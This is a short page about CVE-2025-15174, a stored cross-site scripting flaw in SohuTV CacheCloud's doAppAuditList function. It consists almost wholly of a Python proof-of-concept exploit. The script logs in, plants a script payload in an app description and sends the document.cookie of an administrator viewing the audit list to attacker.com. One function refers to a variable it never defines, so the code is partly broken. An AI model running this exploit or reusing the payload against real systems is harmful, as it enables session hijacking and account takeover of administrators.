CVE-2025-15174 SohuTV CacheCloud doAppAuditList函数跨站脚本漏洞

import requests import json # CVE-2025-15174 PoC - SohuTV CacheCloud XSS in doAppAuditList # Target: SohuTV CacheCloud <= 3.2.0 TARGET_URL = "http://target-server:8080" USERNAME = "attacker_user" PASSWORD = "password123" def login(): """Authenticate and obtain session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/login" data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data) return session if response.status_code == 200 else None def inject_xss_payload(session): """Inject XSS payload via app audit submission""" # Malicious XSS payload xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" # Submit app audit with XSS payload audit_url = f"{TARGET_URL}/app/audit/submit" data = { "appName": "TestApp", "appDesc": xss_payload, "auditType": "create" } response = session.post(audit_url, data=data) return response.status_code == 200 def trigger_xss(session): """Trigger XSS by accessing audit list as admin""" # Admin views the audit list, triggering the XSS list_url = f"{TARGET_URL}/app/audit/list" response = session.get(list_url) return xss_payload in response.text def main(): session = login() if session and inject_xss_payload(session): print("[+] XSS payload injected successfully") print("[+] Payload will execute when admin views audit list") else: print("[-] Failed to inject payload") if __name__ == "__main__": main()